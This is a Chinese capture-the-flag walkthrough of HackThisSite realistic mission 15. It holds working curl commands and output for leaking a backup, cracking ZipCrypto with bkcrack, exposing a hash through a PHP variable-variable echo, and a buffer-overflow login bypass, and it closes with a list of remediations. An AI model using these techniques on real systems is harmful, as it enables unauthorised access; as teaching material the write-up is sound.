Challenge
secuLas Ltd. is an industry leader in defense and special mission lasers. Somewhere behind the glossy corporate site there is a leaked backup and an internal area; get access to the “latest patents and developments” section and prove the credentials can be bypassed.
secuLas Ltd. 是一家国防/特种激光承包商。光鲜的企业站背后泄露了一份备份文件,内部管理区里有一个”最新专利与进展”查看器。目标是进入该区域,证明它的凭据校验可被绕过。
入口 /missions/realistic/15/ 是静态企业站(index.htm,4423 字节),导航只有 products.php / questions.php / imprint.php / jobs.php。全部页面源码里都没写链接,真正的突破点是站点根目录下一个没被引用的备份目录。
Solution
Recon:
- 遍历所有页面源码,
views里找不到任何登录入口,但把常见目录名拼上去试的时候/_backups_/返回 200 并列出backup.zip:目录列表没关。 backup.zip里的条目是 ZipCrypto(传统 PKZIP)加密的,但 ZIP 目录表可读,条目名和压缩后大小都暴露。其中misc (files from different folders)/index.htm正好是站点首页同名文件,可以拿去当已知明文。- 解出备份里的
shell.php/msgauth.php源码后,所有漏洞都在源码里明摆着。
Step 1: 拿到泄露的备份
$ curl -s -o /dev/null -b "HackThisSite=<mission-cookie>" \ -w "%{http_code} %{size_download}B\n" \ "https://www.hackthissite.org/missions/realistic/15/_backups_/"200 1138B
$ curl -s -O -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/15/_backups_/backup.zip"(对照:把 _backups_ 换成 backup.zip 直连站点根目录返回 404,说明文件只在那个未引用的目录里。)
$ unzip -v backup.zip Length Method Size Cmpr Date Time CRC-32 Name 0 Stored 0 0% 2004-12-09 04:55 00000000 internal_messages/ 336 Defl:N 212 37% 2004-12-09 04:44 19438da1 internal_messages/msgshow.php 965 Defl:N 399 59% 2004-12-11 23:02 daaac094 internal_messages/msgauth.php 0 Stored 0 0% 2004-12-06 01:51 00000000 misc (files from different folders)/ 4423 Defl:N 1245 72% 2004-12-05 01:41 2fc997cc misc (files from different folders)/index.htm 16860 Defl:N 6010 64% 2004-12-06 01:51 5f67992e misc (files from different folders)/shell.php 22584 7866 65% 6 filesStep 2: 已知明文攻击 (bkcrack)
ZipCrypto 的已知明文攻击只需要一段未加密的原文和它在密文里的对应关系。站点上的 index.htm 就是备份里那个同名文件,下载下来压缩,凑出和密文条目逐字节一致的 deflate 流即可。
$ curl -s -o index.htm -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/15/index.htm"$ ls -l index.htm-rw-r--r-- 1 <user> <user> 4423 ... index.htm备份里该条目的压缩后大小是 1245 字节。逐一试 deflate 级别,级别 6 命中最接近的 1245 字节(plain6.zip),压缩流 CRC 与备份一致(2fc997cc):
$ zip -6 plain6.zip index.htm$ unzip -v plain6.zip Length Method Size Cmpr Date Time CRC-32 Name 4423 Defl:N 1245 72% 2026-09-11 15:36 2fc997cc index.htm用 bkcrack 做攻击(-C 密文归档、-c 密文条目、-P 明文归档、-p 明文条目):
$ ./tools/bkcrack-1.8.1-Linux-x86_64/bkcrack \ -C backup.zip \ -c 'misc (files from different folders)/index.htm' \ -P plain6.zip \ -p index.htm \ -o 0bkcrack 1.8.1 - 2025-10-25[15:36:06] Z reduction using 1238 bytes of known plaintext0.0 % (0 / 1238) ... 100.0 % (1238 / 1238)[15:36:06] Attack on 7443 Z values at index 430.4 % (27 / 7443) ... 70.4 % (5238 / 7443)Keys: f23a33d0 106331c0 6fd03c13[15:36:06] Keysf23a33d0 106331c0 6fd03c13拿到三组内部 key f23a33d0 106331c0 6fd03c13。用 -D 生成整包解密的新归档(注意不是 -d,-d 只解密单个条目的数据流,写不出可解压的归档):
$ ./tools/bkcrack-1.8.1-Linux-x86_64/bkcrack \ -C backup.zip -k f23a33d0 106331c0 6fd03c13 -D decrypted.zipbkcrack 1.8.1 - 2025-10-25[15:36:16] Writing decrypted archive data/decrypted.zip100.0 % (6 / 6)
$ unzip -o decrypted.zip -d decrypted$ find decrypted -type fdecrypted/internal_messages/msgshow.phpdecrypted/internal_messages/msgauth.phpdecrypted/misc (files from different folders)/index.htmdecrypted/misc (files from different folders)/shell.phpStep 3: 源码分析(msgauth.php 与 shell.php)
internal_messages 目录里的两个文件构成一套内部留言认证:
<?php/* --- called by msgshow.php --- */session_start();if ($_SESSION['msgauth'][$msg_username] != "OK"){ if (strlen($msg_username)==0 || strlen($msg_password)==0 || strlen($filename)==0) die(); $msg_password = addcslashes($msg_password, ".[(*$^+\|"); $msg_username = addcslashes($msg_username, ".[(*$^+\|"); $fp = @fopen("files/" . $filename, "r"); if (!$fp) die(); while(!feof($fp) && $_SESSION['msgauth'][$msg_username] != "OK") { $strLine = fgets($fp,200); if (ereg($msg_username . ": " . $msg_password . "\r*\n*$", $strLine, $regs)) $_SESSION['msgauth'][$msg_username] = "OK"; } fclose($fp); if ($_SESSION['msgauth'][$msg_username] != "OK") die("wrong username/password!");}?>两个问题:$filename 直接拼进 fopen("files/" . $filename):路径穿越,可以读站点任意文件;同时凭据比对用的是 ereg()(用户输入当正则,只转义了 .[(*$^+\|,? { } 等元字符没转义),既是正则注入又是子串匹配,只要目标文件里存在一行能被模式命中的文本就能通过。设计意图是让攻击者把 $filename 指到页面自身的 meta 标签。
shell.php(MyShell,seculas 版)的认证相关部分(两个 $shellPswd_* 在备份里已被打码):
$selfSecure = 1;$shellUser_root = "root";$shellPswd_root = "********************************"; // hash removed in this backup-file$shellUser_others = "others";$shellPswd_others = "********************************"; // hash removed in this backup-file校验段与 401 分支:
$MyShellVersion = "MyShell 1.1.0 build 20010923 ".$$PHP_AUTH_USER;if($selfSecure){ if (!(($PHP_AUTH_USER==$shellUser_root && md5(md5($PHP_AUTH_PW))==$shellPswd_root ) || ($PHP_AUTH_USER==$shellUser_others && md5(md5($PHP_AUTH_PW))==$shellPswd_others) )) { Header('WWW-Authenticate: Basic realm="MyShell'); Header('HTTP/1.0 401 Unauthorized'); echo "<html> <head> <title>$MyShellVersion</title> </head> <h1>Access denied</h1> a warning message with your user agent string<br><b>" . $HTTP_SERVER_VARS["HTTP_USER_AGENT"] . "</b><br> has been sent to the administrator <hr> <em>modified $MyShellVersion</em>"; }}两点很关键:
- 密码用双重 MD5 存储:
md5(md5($PHP_AUTH_PW))。 ".... ".$$PHP_AUTH_USER是一个变量变量(variable variable)。$$PHP_AUTH_USER取的是名字等于$PHP_AUTH_USER值的那个变量。而$MyShellVersion在认证失败时会被回显到 401 页面上。所以只要用一个变量名当用户名去认证,服务器就会把那个变量的值打印出来。
用用户名 shellPswd_root 发一次注定失败的 Basic 请求:
$ curl -s -u 'shellPswd_root:wrongpass' -b "HackThisSite=<mission-cookie>" \ -e "https://www.hackthissite.org/missions/realistic/15/admin_area/shell.php" \ -o /dev/null -w "%{http_code}\n" \ "https://www.hackthissite.org/missions/realistic/15/admin_area/shell.php"401响应体:
<title>MyShell 1.1.0 build 20010923 9e71fc2a99a71b722ead746b776b25ac</title> </head> <h1>Access denied</h1> a warning message with your user agent string<br /><b><ua></b><br /> has been sent to the administrator <hr><em>modified MyShell 1.1.0 build 20010923 9e71fc2a99a71b722ead746b776b25ac</em>root 的双重 MD5 哈希 9e71fc2a99a71b722ead746b776b25ac 就这样漏了出来。反推:
import hashlib
target = "9e71fc2a99a71b722ead746b776b25ac"h1 = hashlib.md5(b"foobar").hexdigest() # 3858f62230ac3c915f300c664312c63fh2 = hashlib.md5(h1.encode()).hexdigest() # 9e71fc2a99a71b722ead746b776b25acprint(h1)print(h2)print("match:", h2 == target)3858f62230ac3c915f300c664312c63f9e71fc2a99a71b722ead746b776b25acmatch: True明文是 foobar。
Step 4: 登入 MyShell 并枚举
admin_area/ 目录本身开启目录保护,/admin_area/ 直接访问返回 Forbidden;shell.php 走独立的 HTTP Basic 认证,还需要一个本站 Referer,否则返回 Invalid Referer。
$ curl -s -u root:foobar -b "HackThisSite=<mission-cookie>" \ -e "https://www.hackthissite.org/missions/realistic/15/" \ "https://www.hackthissite.org/missions/realistic/15/admin_area/shell.php" \ | grep -o "MyShell 1.1.0 build 20010923\|Current User: <a[^>]*>[^<]*"MyShell 1.1.0 build 20010923Current User: <a href="#">wwwrun运行身份 wwwrun,初始 cwd /srv/www/htdocs/admin_area/。这个 MyShell 是个被裁剪过的版本:只放行 ls,且参数必须以 - 开头(纯 flag)。带别的东西一律回 Heh I can't really let you mess around with my server!。
$ curl -s -u root:foobar -b "HackThisSite=<mission-cookie>" \ -e ".../admin_area/shell.php" --data-urlencode "command=ls -la" \ "https://www.hackthissite.org/missions/realistic/15/admin_area/shell.php"drwxr-xr-x 2 root root 4096 Dec 4 20:23 .drwxr-xr-x 2 root root 4096 Dec 4 21:23 ..drwxr-xr-x 2 root root 4096 Dec 3 17:14 helpdeskdrwxr-xr-x 2 root root 4096 Dec 4 20:32 mypr0n-r-xr-xr-x 1 root users 6491 Dec 4 20:01 shell.phpdrwxr-xr-x 2 root root 4096 Dec 4 21:23 test-r-xr-xr-x 1 root users 1608 Dec 3 12:19 viewpatents.php-rw-r--r-- 1 root root 390 Dec 4 21:21 viewpatents2.php对照测试确认了这条过滤器规则,ls、ls -l、ls -a、ls -la 通过;ls /、ls .、ls -la test、pwd、echo hi、cat viewpatents2.php、more ...、head ...、uname -a 全部被拒:
[ls ] helpdesk/ mypr0n/ shell.php test/ viewpatents.php viewpatents2.php[ls -la ] <完整长列表,见上>[pwd ] Heh \n I can't really let you mess around with my server![ls / ] Heh \n I can't really let you mess around with my server![ls -la test] Heh \n I can't really let you mess around with my server![cat viewpatents2.php] Heh \n I can't really let you mess around with my server!shell 只能列目录,读不到文件内容。目标落到 viewpatents.php,这几十字节的文件名恰好就是”专利查看”入口。它也直接暴露在 admin_area/ 下,且不受 Basic 保护:
$ curl -s -b "HackThisSite=<mission-cookie>" \ "https://www.hackthissite.org/missions/realistic/15/admin_area/viewpatents.php"<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head> <title>latest patents and developments</title></head> <body> <b><u><div style="text-align:center";> View latest patents and developments </div></u></b>
<form action="viewpatents2.php" method="post"> <table border="0" cellpadding="0" cellspacing="0" width="80%" align="center"> <tbody> <tr> <td style="width:45%; text-align:right">Username: </td> <td><input name="username" value="" type="text"></td> </tr> <tr> <td style="text-align:right";>Password: </td> <td><input name="password" value="" type="text"></td> </tr> </tbody> </table> </form>Step 5: 下载校验器源码
test/ 里有一个可直连下载的校验器源码包 /admin_area/test/chkuserpass.c.zip:
$ curl -s -b "HackThisSite=<mission-cookie>" -o chkuserpass.c.zip \ "https://www.hackthissite.org/missions/realistic/15/admin_area/test/chkuserpass.c.zip"$ unzip -o chkuserpass.c.zip源码:
char checkit(char* username, char* password, char* hash){ char is_pass_correct = 'N'; /* initialize to NO */ char *fillstring = "_T*4$n"; /* Use this string to make a */ /* less than 4chars password */ /* longer */ char concatenated[200]; strcpy(concatenated, username);
/* if a password is less than 4 chars long, */ /* add some extra characters */ if (strlen(password) < 4) strcat(concatenated, fillstring);
strcat(concatenated, password);
if (strcmp(mymd5(concatenated), hash) == 0) is_pass_correct = 'Y';
return is_pass_correct;}漏洞在 strcpy(concatenated, username):concatenated 只有 200 字节,username 完全由请求方控制,没有任何长度检查。栈上 is_pass_correct 就挨着这块缓冲区,一个超过缓冲区长度的 username 会溢出并覆盖它,而 is_pass_correct 只要不等于 'N' 就会被当成”通过”(返回给上层做判断)。用等长的 Y(0x59)填满到该变量即可把它改成 'Y'。
Step 6: 228 个大写 Y 触发溢出
viewpatents2.php 直接把表单的 username 送进 chkuserpass。提交 228 个大写 Y,密码留空:
$ PAYLOAD=$(python3 -c "print('Y'*228)")$ echo -n "$PAYLOAD" | wc -c228
$ curl -s -i -b "HackThisSite=<mission-cookie>" -A "<ua>" \ -e "https://www.hackthissite.org/missions/realistic/15/admin_area/viewpatents.php" \ --data-urlencode "username=$PAYLOAD" --data "password=" \ "https://www.hackthissite.org/missions/realistic/15/admin_area/viewpatents2.php"HTTP/2 200content-type: text/htmlcontent-language: enserver: HackThisSite
<center><div style="width:80%"><div class="dark-td"><h2>Congrats</h2></div><div class="light-td">Good Job, ***, You have successfully completed Mission 15<br /></div></div></center>服务端直接返回里程碑页。
普通短用户名则被正常拒绝:
$ curl -s -b "HackThisSite=<mission-cookie>" \ --data "username=admin" --data "password=test" \ "https://www.hackthissite.org/missions/realistic/15/admin_area/viewpatents2.php"Access denied! <br />Your IP and useragent were logged!<br />Access denied! 是凭据错误的正常分支;228 个 Y 走的是溢出分支,说明 is_pass_correct 被成功覆盖成 'Y',凭据校验被绕过,Mission 15 完成。
Vulnerabilities
- 未引用的公开目录 + 目录列表:
/_backups_/没有被任何页面引用,却开着目录索引,直接泄露backup.zip。备份本身把应用源码、认证逻辑和配置常量一起打包带走。 - ZipCrypto 已知明文恢复:传统 PKZIP 加密对已知明文毫无抵抗力。归档里只要有一个文件能在站上拿到明文(
index.htm),就能恢复三组 key 并整包解密。 - 变量变量泄露敏感常量:
$MyShellVersion = ".... ".$$PHP_AUTH_USER;把用户可控的”变量名”当变量去取值,并在 401 错误页回显,于是shellPswd_root(root 密码哈希)被直接打印。md5(md5())存储也挡不住这种泄露。 - 凭据比对用
ereg()+ 用户可控文件名:msgauth.php把用户输入当正则、"files/"前缀后又允许../穿越,既能读任意文件又能用正则/子串匹配绕过比对。 - 栈缓冲区溢出:
chkuserpass.c里strcpy(concatenated, username)对 200 字节缓冲无边界检查,可覆盖栈上相邻的is_pass_correct布尔标记,从而在校验未通过的情况下返回'Y'。 - 被裁剪的 shell 不是安全边界:MyShell 只放行
ls属于”限制命令”而非”消除权限”,只要还有一个可写入口(viewpatents2.php)能触达有漏洞的原生程序,限制 shell 就形同虚设。
修复方向:备份目录移出 Web 根、关闭目录索引;不应使用 ZIP 传统加密存放源码,改用发布产物 + 强加密;认证比较用常量时间函数并在校验前完成,绝不把内部常量通过变量插值回显;文件读取用固定资源 id 映射,禁止把用户输入当路径或正则;原生校验程序用 strncpy/长度检查并独立存布尔结果,避免缓冲区与结果相邻。